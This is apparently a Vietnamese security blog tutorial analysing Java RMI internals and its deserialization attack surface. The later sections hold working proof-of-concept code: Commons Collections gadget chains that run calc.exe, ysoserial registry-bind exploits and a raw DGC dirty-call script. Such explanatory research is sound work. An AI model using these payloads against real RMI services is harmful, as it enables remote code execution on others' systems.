JavaSec - RMI (Remote Method Invocation)
1. Giới thiệu
Như đã nói một ít về RMI trong bài viết trước đó (here), bài này mình sẽ nói rõ hơn về cách RMI hoạt động và các attack vector cơ bản có thể exploit RMI
Đầu tiên, nhắc lại về khái niệm RMI, RMI hay Remote Method Invocation là một tính năng trong Java cho phép gọi method của một Object từ xa. Trong Java để có thể truyền đi một đối tượng qua mạng thì sẽ cần sử dụng đến serialize và deserialize, trong RMI thì quá trình serialize sẽ được gọi là marshalling và ngược lại quá trình deserialize là unmarshalling, điều này mở ra một hướng tấn công Java Deser thông qua RMI.
Cấu trúc của RMI bao gồm:
RMI Client : là client gọi đến remote method, tại client có một object trung gian gọi là
Stub
,Stub
là đại diện của remote Object, và mọi hành động của client đến server đều đi quaStub
RMI Server: là server sẽ tiếp nhận yêu cầu gọi đến method, thực thi method và trả về kết quả, ở server có object gọi là
Skeleton
, tác dụng tương tựStub
chỉ là khác tên gọi.RMI Register: hiểu nôm na đây như là một nhà cung cấp, server sẽ bind object lên register, khi client muốn sử dụng nó sẽ lookup trong register luôn.
Mọi cuộc gọi từ Client đều sẽ đi qua Stub và khi đến Server cũng sẽ đi qua Skel, 2 thành phần này đóng vai trò như là Proxy để phía này đại diện cho object ở phía còn lại.
Để dùng RMI, đầu tiên ở phía server ta sẽ có một interface extends class Remote, các instance của interface này sẽ được dùng để làm remote object mà phía client sẽ truy cập.
public interface RemoteInterface extends Remote {
public String sayHello() throws RemoteException;
public String sayHello(Object name) throws RemoteException;
public String sayGoodbye() throws RemoteException;
}
Tạo class RemoteObject để implements interface này (lưu ý phải extend UnicastRemoteObject
)
public class RemoteObject extends UnicastRemoteObject implements RemoteInterface{
public RemoteObject() throws RemoteException {
}
@Override
public String sayHello() throws RemoteException {
return "Endy say hello";
}
@Override
public String sayHello(Object name) throws RemoteException {
return name.getClass().getName();
}
@Override
public String sayGoodbye() throws RemoteException {
return "See yaaaa";
}
}
Tiếp theo, tạo một class để chạy server, khi đã có RemoteObject thì ta sẽ khai báo một Registry như sau:
public class Server {
public static void main(String[] args) throws Exception {
try {
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
} catch (Exception e) {
e.printStackTrace();
}
}
Tiếp theo dùng method bind của Registry để bind RemoteObect vào Registry
public class Server {
public static void main(String[] args) throws Exception {
RemoteInterface remoteObject = new RemoteObject();
try {
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
registry.bind("rmi://localhost:1099/Hello", remote);
System.out.println("Server is running");
} catch (Exception e) {
e.printStackTrace();
}
}
Tại phía Client ta cũng khởi tạo Registry để tiến hành lookup RemoteObject từ Registry
public class Client {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
ClientExploit stub = (ClientExploit) registry.lookup("rmi://localhost:1099/Hello");
System.out.println(Arrays.toString(registry.list()));
System.out.println(stub.sayHello());
System.out.println(stub.sayGoodbye());
}
}
2. Phân tích cách RMI hoạt động
Ở phần này mình sẽ đi sâu hơn vào cách hoạt động và phân tích sơ qua Java đã làm như thế nào để triển khai RMI, mình sẽ chia quá trình làm 3 phần để dễ phân tích.
Quá trình khởi tạo Registry
Quá trình khi bind object
Quá trình khi gọi remote object
Note: quá trình phần tích dưới đây mình sử dụng
JDK8u66
a. Quá trình khởi tạo Registry
Khởi tạo RemoteObject
Khi ta gọi RemoteInterface remoteObject = new RemoteObject();
do RemoteObject
extend UnicastRemoteObject
nên nó sẽ export Object và tạo ra một Proxy Object để phục vụ cho việc tương tác với Registry và Client sau này.
Cụ thể quá trình sẽ là như sau:
Đầu tiên exportObject
của UnicastRemoteObject
được gọi
Tại dòng return nó gọi đến UnicastServerRef.exportObject
Tại đây nó sẽ gọi đến Util.createProxy
để tạo một dynamic proxy cho RemoteObject
.
Tại dòng 60 sẽ tạo một RemoteObjectInvocationHandler
để phục vụ cho việc tạo dynamic proxy tại dòng 65.
Kết quả trả về của hàm createProxy
Sau đó dynamic proxy này được bọc lại bằng object Target
Tiếp tục LiveRef.exportObject
gọi đến TCPTransport.exportObject
TCPTransport.exportObject
gọi đến Transport.exportObject
, tại đây ObjectTable.putTarget
được gọi
ObjectTable được sử dụng để quản lý tất cả các phiên bản dịch vụ, hiểu đơn giản đây là một HashMap có key là ObjectEndpoint
và value là dynamic proxy đại diện cho remote object, ta sẽ dùng HashMap này để lookup các remote object
Còn dòng this.hashToMethod_Map = (Map)hashToMethod_Maps.get(var4);
trước khi return của UnicastRemoteObject.exportObject
sẽ trả về cho ta một HashMap chứa các remote method
Tóm lại khi một remote object được khởi tạo, một dynamic proxy tương ứng của remote object được tạo và put vào ObjectTable để lookup sau này.
Trước khi đến phần tiếp theo mình muốn nói thêm một xíu về cách dynamic proxy này được gọi ở phía client, khi đã lấy được remote object ở phía client, khi ta gọi đến remote method thì RemoteObjectInvocationHandler.invoke
được gọi
Tiếp tục invokeRemoteMethod
được gọi với tham số lần lượt là lớp proxy, method muốn gọi và tham số của method đó
Tiếp tục UnicastRef.invoke
được gọi, tại đây sẽ thực hiện kết nối với Server và gửi các args dưới dạng serialized cho server và nhận về kết quả từ server cũng ở dạng serialized
Có thể thấy kết quả trả về từ server được deser ở phía client, dựa vào hành vi này nếu ta có thể kiểm soát được server trả về một serialize data độc hại thì ta hoàn toàn có thể tấn công được phía client
Quá trình tạo Registry
Thông thường ta sẽ sử dụng LocateRegistry.createRegistry(1099);
để khởi tạo Registry, vậy quá trình khởi tạo Registry diễn ra như thế nào ?
Đầu tiên method createRegistry
sẽ khởi tạo một object RegistryImpl
Trong constructor của RegistryImpl
sẽ tạo một đối tượng UnicastServerRef
để dùng cho method setup
Khi setup thì phương thức exportObject
của UnicastServerRef
vẫn được sử dụng, tuy nhiên đối tượng được export trong trường hợp này là RegistryImpl
createProxy
tiếp tục được gọi
Tuy nhiên tại đây nó sẽ thực hiện một câu điều kiện như sau
Ta thấy thay vì tạo Proxy động như flow lúc nảy thì tại trường hợp này nó sẽ gọi đến createStub
, trước khi đi vào createStub
ta nói một chút về câu điều kiện.
Câu điều kiện gọi đến stubClassExists
, công dụng của method này cũng như tên của nó, sẽ kiểm tra xem có tồn tại một class có tên là <class đầu vào>_Stub
hay không
Vì class đầu vào là RegistryImpl
mà class RegistryImpl_Stub
có tồn tại nên hàm sẽ trả về true
Quay trở lại hàm createStub
tác dụng của nó đơn giản là khởi tạo RegistryImpl_Stub
Tiếp tục quay trả lại UnicastServerRef.exportObect
, sau khi tạo RegistryImpl_Stub
xong, sẽ thực hiện câu điều kiện sau:
Vì RegistryImpl_Stub
extend từ RemoteStub
nên nó sẽ trả về true
Tiếp tục chương trình gọi this.setSkeleton
để tạo skeleton
Sau khi tạo xong RegistryImpl_Skel
thì sau này khi bind/lookup/rebind/unbind Object method dispatch
của RegistryImpl_Skel
sẽ được gọi để xử lý.
Tóm lại quá trình khởi tạo của RemoteObject và Registry cũng giống nhau đều gọi đến
UnicastServerRef.exportObject
tuy nhiên 2 trường hợp là 2 nhánh của câu điều kiện do đó kết quả trả về là khác nhau
Trong trường hợp là RemoteObject sẽ trả về một dynamic proxy
Còn trong trường hợp Registry khởi tạo một
RegistryImpl_Skel
vàRegistryImpl_Stub
b. Quá trình bind RemoteObject
Sau khi hoàn thành quá trình ở trên thì đã có một RegistryImpl_Stub
tạo local tại Server (trong trường hợp Server và Registry nằm trên cùng một máy), còn trường hợp Server và Registry nằm ở 2 nơi khác nhau, thì trước khi bind Server phải tiến hành LocateRegistry.getRegistry
như client, trong trường hợp của mình thì Server và Registry nằm cùng một nơi, do đó khi bind nó sẽ gọi trực tiếp method bind của RegistryImpl_Stub
Tại đây bind sẽ thực hiện serialize tên object và remote object sau đó gọi đến UnicastRef.invoke
, nhưng trước khi đi vào UnicastRef.invoke
thì ta xem qua cơ chế writeObject
trong RMI một tý.
writeObject
sẽ gọi đến writeObject0
của ObjectOutputStream
, writeObject0
sẽ gọi đến replaceObject
của MarshalOutputStream
, kết quả trả về là lớp dynamic proxy
Sau khi replace thành lớp Proxy xong thì gọi đến UnicastRef.invoke
để thực hiện kết nối tới Registry
Ở trên là flow xử lý tại Server khi thực hiện bind, còn tại Regsitry thì nó handle request như thế nào ?
Khi có yêu cầu đến Registry thì method handleMessages
của TCPTransport
sẽ đảm nhận việc xử lý
Phương thức serviceCall
được gọi để xử lý
Phương thức này sẽ gọi đến dispatch
của UnicastServerRef
UnicastServerRef.dispatch
gọi đến oldDispatch
oldDispatch
gọi đến RegistryImpl_Skel.dispatch
để thực hiện bind
Tại đây nó sẽ thực hiện deserialize và gọi đến RegistryImpl.bind
this.bindings
ở trên chính là một hashmap với key là uri và value là dynamic proxy đại diện cho remote object mà ta đưa vào để bind
Ta thấy khi bind thì tại Registry sẽ thực hiện deserialize remote object ta khai báo, do đó tại registry cũng hoàn toàn tìm ẩn nguy cơ bị tấn công bởi lỗ hổng Java Deserialize.
c. Quá trình khi gọi remote object
Lấy remote object (lớp proxy) từ registry
Đầu tiên client sẽ lấy Registry thông qua LocateRegistry.getRegistry
getRegistry
sẽ return Util.createProxy(RegistryImpl.class, ref, false);
và flow của createProxy
khi tham số là RegistryImpl
đã được phân tích ở trên nên mình sẽ không nói lại, tóm lại ta chỉ cần biết khi getRegistry
thực thi xong sẽ có một RegistryImpl_Stub
được khởi tạo tại Client để giao tiếp với Registry.
Do đó khi gọi lookup
thì RegistryImpl_Stub.lookup
được gọi đến
Khi lookup nó sẽ serialize uri và gọi đến UnicastRef.invoke
để thực thi cuộc gọi đến Registry. Sau đó kết quả trả về sẽ được deserialize
Kết quả khi lookup
xong chính là lớp dynamic proxy
Tại phía Registry, khi nhận được request lookup thì case 2 của RegistryImpl_Skel.dispatch
sẽ xử lý request
Khi này nó deserialize dữ liệu từ client và đưa vào RegistryImpl.lookup
, tại đây nó sẽ lookup uri trong Hashtable bindings để trả về lớp Proxy (cũng chính là thứ sever nhận được )
Khi này tại client, sau khi xử lý xong sẽ giao tiếp trực tiếp với Server thông qua lớp Proxy mà không cần đến Registry nữa.
Gọi remote method
Đã có được Proxy đại diện cho remote object, vậy thì khi gọi method sẽ xử lý như thế nào ?
Tại server phương thức dispatch
của UnicastServerRef
sẽ xử lý các yêu cầu của client
Tại đây nó lấy ra method từ hashToMethod_Map thông qua tên method ta truyền vào ở phía client, nếu method tồn tại nó sẽ unmarshalling các args mà client gửi đến.
Sau đó method sẽ được thực thi thông qua dòng code sau:
Với var1 là tên method và var10 là các tham số của method.
Ta thấy sau khi lấy được proxy đại diện cho remote object từ Registry ta sẽ giao tiếp trực tiếp với server, và các parameter ta truyền vào remote method, sẽ được serialize và gửi cho sever. Server sẽ thực hiện deserialize các parameter đó trong hàm unmarshalValue
, điều này mở ra nguy cơ tấn công Java Deser Sever thông qua Client
d. DGC
Trong quá trình debug thì chắc hẳn các bạn sẽ thấy có cuộc gọi liên quan đến DGC xuất hiện, vậy thì nó là gì và có vai trò như thế nào ?
DGC (Distributed Garbage Collection) là một cơ chế "thu dọn rác" của RMI, hiểu đơn giản thì khi Client gọi đến một remote object, nếu remote object được refer không được sử dụng, Server dùng cơ chế DGC để tự động dọn dẹp reference.
DGC cung cấp 2 method cho việc trên là
dirty: khi client vẫn muốn sử dụng remote object thì sẽ thực hiện DGC call tới phương thức dirty, hiểu đơn giản thì giống như client đang gia hạn hợp đồng với server
clean: khi client không còn sử dụng refer nữa thì phương thức clean được gọi để "dọn dẹp"
DGCImpl
cũng có 2 lớp triển khai là DGCImpl_Stub
và DGCImpl_Skel
tương tự như RegistryImpl
. Cách RMI triển khai cũng tương tự RegistryImpl
, Server sẽ tạo DGCImpl_Stub
để đăng ký lên Registry, cho Registry trả cho Client, còn bản thân server sẽ tạo DGCImpl_Skel
để xử lý các reqeust.
Các request sẽ được method dispatch
của DGCImpl_Skel
xử lý
Ta thấy quá trình DGC xử lý sẽ dùng đến Java deser, do đó dẫn đến một hướng tấn công có thể xảy ra nếu ta có thể kiểm soát được DGC call, ví dụ như việc thực hiện DGC call với một lớp độc hại.
3. Các hướng tấn công RMI cơ bản
Thông qua phần phân tích ở trên thì mọi người cũng đã hình dung được các hướng tấn công về cơ bản là như thế nào rồi, theo như ta thấy thì cả ở Client, Server và Registry đều tìm ẩn nguy cơ bị tấn công Java Deserialize, cụ thể ta có các hướng như
a. Server
Thông qua tham số của remote object
Ví dụ ta có đoạn code ở phía client như sau:
public class Client {
public static void main(String[] args) throws RemoteException, NotBoundException, MalformedURLException, Exception {
ClientObject clientObject = new ClientObject();
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
RemoteInterface stub = (RemoteInterface) registry.lookup("rmi://localhost:1099/Hello");
System.out.println(Arrays.toString(registry.list()));
System.out.println(stub.sayHello(evilCalss()));
System.out.println(stub.sayGoodbye());
}
public static Object evilCalss() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", null }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, null }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
Map lazyMap = (Map) LazyMap.decorate(new HashMap(), chain);
TiedMapEntry tied = new TiedMapEntry(new HashMap(), 1);
HashMap map = new HashMap();
map.put(tied, 1);
HashSet hashset = new HashSet();
Class temp = Class.forName("java.util.HashSet");
Field arg = temp.getDeclaredField("map");
arg.setAccessible(true);
arg.set(hashset,map);
Class temp2 = Class.forName("org.apache.commons.collections.keyvalue.TiedMapEntry");
Field arg2 = temp2.getDeclaredField("map");
arg2.setAccessible(true);
arg2.set(tied,lazyMap);
return hashset;
}
}
Khi gọi đến sever thì tham số của sayHello
sẽ được deser, từ đó dẫn đến pop up calc
Có một điểm ta cần lưu ý, trong quá trình debug ta sẽ thấy, dù tham số là một String thì quá trình deserialize vẫn sẽ xảy ra, do đó cho dù có nhận vào một String chứ không phải Object thì ta vẫn có thể exploit Java Deser
Thông qua cơ chế tải lớp động (dynamic code downloading)
Có một tính năng trong RMI đó là khi Sever hoặc Client phải xử lý một object của class mà đang không tồn tại tại source base của nó, nó sẽ thực hiện việc dynamic loading class đó từ Client hoặc Server. Điều này mở ra một attack vector mới, sẽ ra sao nếu Server hoặc Client phải tải về một lớp độc hại ?
Bời vì quá trình giao tiếp trong RMI đều sử dụng đến việc tuần tự hóa nên nếu attacker tìm được cách khiến Server hoặc Client tải về lớp độc hại, lớp đó sẽ được deser và lỗ hổng Java Deser được trigger. Tuy nhiên tính năng này mặc định không được bật, mà dev phải cá hình thêm một số quyền.
Để demo về attack vector này, mình sẽ mượn một bài Ctf. Các bạn có thể tham khảo writeup tại đây ()
b. Tấn công Registry
Thông thường Regsitry và Server sẽ nằm cũng nơi, trường hợp Regsitry và Server cũng không phải là hiếm, khi ta kiểm soát được Server hoặc Client thì để exploit Registry cũng rất dễ dàng, ý tưởng là ta sẽ cố gắng bind một object độc hại, để tại Registry khi nó xử lý và deser object độc hại đó.
Tuy nhiên bind của Registry chỉ hoạt động với object thuộc class Remote
, do đó ta sẽ dùng AnnotationInvocationHandler
để tạo object độc hại mà vẫn thuộc class Remote
public class Server {
public static void main(String[] args) throws RemoteException, MalformedURLException, AlreadyBoundException, Exception {
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);
HashMap<String, Object> map = new HashMap<>();
map.put("test",evilClass());
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);
Remote remote = (Remote) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Remote.class}, invocationHandler);
try {
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
registry.bind("rmi://localhost:1099/Hello", remote);
System.out.println("Server is running");
} catch (Exception e) {
e.printStackTrace();
}
}
public static Object evilClass() throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", null }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, null }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
Map lazyMap = (Map) LazyMap.decorate(new HashMap(), chain);
TiedMapEntry tied = new TiedMapEntry(new HashMap(), 1);
HashMap map = new HashMap();
map.put(tied, 1);
HashSet hashset = new HashSet();
Class temp = Class.forName("java.util.HashSet");
Field arg = temp.getDeclaredField("map");
arg.setAccessible(true);
arg.set(hashset,map);
Class temp2 = Class.forName("org.apache.commons.collections.keyvalue.TiedMapEntry");
Field arg2 = temp2.getDeclaredField("map");
arg2.setAccessible(true);
arg2.set(tied,lazyMap);
return hashset;
}
}
Payload ở trên cũng chính là cơ chế hoạt động của ysoserial.exploit.RMIRegistryExploit
, ta cũng có thể dùng ysoserial.exploit.RMIRegistryExploit
để exploit, hiệu quả vẫn tương tự
Trước tiên tạo một RmiRegistryExploit
import ysoserial.payloads.ObjectPayload;
import java.io.Serializable;
import java.rmi.Remote;
public class RmiRegistryExploit implements Remote,Serializable {
private Object payload;
public void setPayload(Object payload) {
this.payload = payload;
}
}
Sử dụng ysoserial.exploit.RMIRegistryExploit
import ysoserial.exploit.RMIRegistryExploit;
import ysoserial.payloads.ObjectPayload;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class AttackRegistry {
public static void main(String[] args) throws Exception{
String payloadType = "CommonsCollections5";
String payloadArg = "calc";
Object payloadObject = ObjectPayload.Utils.makePayloadObject(payloadType, payloadArg);
RmiRegistryExploit re = new RmiRegistryExploit();
re.setPayload(payloadObject);
String name = "pwned" + System.nanoTime();
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
registry.bind(name,re);
}
}
Tuy nhiên cách trên chỉ hiệu quả với JDK < 8u121
đối với những phiên bản JDK cao hơn sẽ bị dính lõi như sau (mình sử dụng JDK8u66
)
Nguyên nhân là do JDK update đã có thêm JEP 290 filter cho quá trình deserialize, jdk chỉ cho phép một số class có thể deserialize
c. Tấn công phía client
Thông qua Sever Stub độc hại
Ý tưởng tương tự như tấn công phía Registry, khiến client lookup và deser object độc hại từ phía sever
Thông qua giá trị trả về của remote method
Vì giá trị trả về sẽ được client deser, do đó nếu giá trị trả về là một object độc hại ta hoàn toàn có thể tấn công được client
Ví dụ ta có method sau từ server
public class ClientExploitImpl extends UnicastRemoteObject implements ClientExploit{
protected ClientExploitImpl() throws RemoteException {
}
@Override
public Object exploitObject() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", null }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, null }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
Map lazyMap = (Map) LazyMap.decorate(new HashMap(), chain);
TiedMapEntry tied = new TiedMapEntry(new HashMap(), 1);
HashMap map = new HashMap();
map.put(tied, 1);
HashSet hashset = new HashSet();
Class temp = Class.forName("java.util.HashSet");
Field arg = temp.getDeclaredField("map");
arg.setAccessible(true);
arg.set(hashset,map);
Class temp2 = Class.forName("org.apache.commons.collections.keyvalue.TiedMapEntry");
Field arg2 = temp2.getDeclaredField("map");
arg2.setAccessible(true);
arg2.set(tied,lazyMap);
return hashset;
}
}
Khi Client gọi đến method exploitObject
public class Client {
public static void main(String[] args) throws RemoteException, NotBoundException, MalformedURLException, Exception {
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
ClientExploit stub = (ClientExploit) registry.lookup("rmi://localhost:1099/Hello");
stub.exploitObject();
}
Thông qua tải lớp động
Ý tưởng của attack vector này tương tự như ở phía server nên mình sẽ không nhắc lại
d. DGC Attack
Như đã đề cập ở phần trên khi nói về DGC, tính năng này tìm ẩn nguy cơ có thể khai thác Java Deser, cụ thể sẽ như sau
Ta có đoạn script sau để khai thác DGC, ở phía client mình sẽ tạo một DGC call giả để gọi đến method dirty
khi đó thì payload object truyền vào sẽ được deser tại DGCImpl_Skel.dispatch
Mình sẽ dùng đoạn script này tại client để tạo một DGC call
public class Client {
public static void main(String[] args) throws RemoteException, NotBoundException, MalformedURLException, Exception {
Registry registry = LocateRegistry.getRegistry("localhost", 1099);
RemoteInterface stub = (RemoteInterface) registry.lookup("rmi://localhost:1099/Hello");
String payloadType = "CommonsCollections5";
String payloadArg = "calc.exe";
Object payloadObject = ObjectPayload.Utils.makePayloadObject(payloadType, payloadArg);
System.out.println("Make DGC Call");
makeDGCCall("localhost", 1099, payloadObject);
}
public static void makeDGCCall ( String hostname, int port, Object payloadObject ) throws IOException, UnknownHostException, SocketException {
InetSocketAddress isa = new InetSocketAddress(hostname, port);
Socket s = null;
DataOutputStream dos = null;
try {
s = SocketFactory.getDefault().createSocket(hostname, port);
s.setKeepAlive(true);
s.setTcpNoDelay(true);
OutputStream os = s.getOutputStream();
dos = new DataOutputStream(os);
dos.writeInt(TransportConstants.Magic);
dos.writeShort(TransportConstants.Version);
dos.writeByte(TransportConstants.SingleOpProtocol);
dos.write(TransportConstants.Call);
@SuppressWarnings ( "resource" )
final ObjectOutputStream objOut = new MarshalOutputStream(dos);
objOut.writeLong(2); // DGC
objOut.writeInt(0);
objOut.writeLong(0);
objOut.writeShort(0);
objOut.writeInt(1); // dirty
objOut.writeLong(-669196253586618813L);
objOut.writeObject(payloadObject);
os.flush();
}
finally {
if ( dos != null ) {
dos.close();
}
if ( s != null ) {
s.close();
}
}
}
}
Khi DGC call thực hiện call đến Server thì như ta đã biết handleMessages
của TCPTransport
sẽ handle mọi request từ Client, tuy nhiên lần này ta sẽ nhìn ngược lại thằng caller của handleMessages
là TCPTransport.run0
Tại case 76 thì run0
sẽ gọi handleMessages
Quay ngược về một chút, ta sẽ thấy input được nạp vào var3
, và var6
là giá trị readInt()
của input, var7
là giá trị của readShort()
của input
Code tiến hành check var6
và var7
trước khi đi đến được switch case
Giá trị var6=1246907721
và var7=2
được set thông qua dòng này của script exploit
Vì payload của ta thỏa điều kiện nên var15
tiếp tục được nạp từ input, và nhảy vào case 76 để gọi handleMessage
Giá trì var15=76
được set qua dòng này của script exploit
Đến đây thì flow cũng giống quá trình remote Object được gọi mình đã nói ở trên khi handleMessage
sẽ gọi đến TCPTransport.serviceCall
.
Đến TCPTransport.serviceCall
thì những dòng đầu tiên gọi đến ObjID.read
Tại ObjID.read
gọi đến UID.read
Tại UID.read
thì đọc 3 giá trị unique, time và count từ input và trả về instance của UID ứng với 3 giá trị đó
3 giá trị trên kèm theo giá trị num
của ObjID.read
được set thông qua dòng này của script exploit
Kết quả trả về là một instance của ObjID với giá trị [0:0:0, 2]
được đem so sánh với dgcID
Vì dgcID
được khởi tạo bằng new ObjID(2)
cũng trả về instance mang giá trị là [0:0:0, 2]
, nên kết quả phép so sánh là bằng nhau
Tiếp theo var40
được bọc trong Target
và truyền vào UnicastServerRef.dispatch
Ở UnicastServerRef.dispatch
sẽ set var3=var40.readInt()
sẽ bằng 1 tương ứng với giá trị mà ta đã set tại script exploit
vì 1>0 nên sẽ đi vào oldDispatch
Tại oldDispatch
sẽ readLong
trước khi đưa vào DGCImpl_Skel.dispatch
, giá trị khi readLong
là -669196253586618813
tương ứng với giá trị ta đã set trong script exploit
Tại DGCImple_Skel.dispatch
sẽ kiếm tra số Long đã đọc trước đó có phải là -669196253586618813
hay không rồi mới đến switch case
Vì payload ta khai báo int là 1 (tham số var3 ở phía trên) nên switch case sẽ nhảy vào case 1
Tại case 1 trước khi gọi đến dirty
sẽ thực hiện deser payload object của ta
Kết quả:
Để tóm tắt flow cho dễ hiểu, bước nào ứng với đoạn code nào trong script exploit thì mình có nhặt được hình này trên blog của một anh pháp sư Trung Hoa
Link bài blog: http://moonflower.fun/index.php/2022/02/10/255/
Các bạn có thể thấy từng bước exploit được mô tả ứng với từng dòng code trong script exploit khá là dễ hiểu và chi tiết
Note: tương tự như attack vector với Registry mình đã nói ở trên thì sau JEP290 DGC Attack cũng không thể exploit đơn giản như trên được nữa, do JEP290 đã áp dụng thêm filter cho quá trình deser của DGC
4. Tóm lại
RMI có 3 thành phần mà cả 3 đều có thể bị tấn công JavaDeser
Tóm tắt các attack vector cơ bản sẽ có là
Server
Tham số độc hại từ Client
Tấn công qua cơ chế dynamic code downloading
Registry
- Bind/lookup/rebind/... các object độc hại từ Server/Client
Client
Load remote object độc hại từ Registry/Server
Load kết quả trả về là một object độc hại từ Server
Tấn công thông qua cơ chế dynamic code downloading
DGC attack
5. Refer
https://su18.org/post/rmi-attack/
https://xz.aliyun.com/t/11339#toc-0
Subscribe to my newsletter
Read articles from endy directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by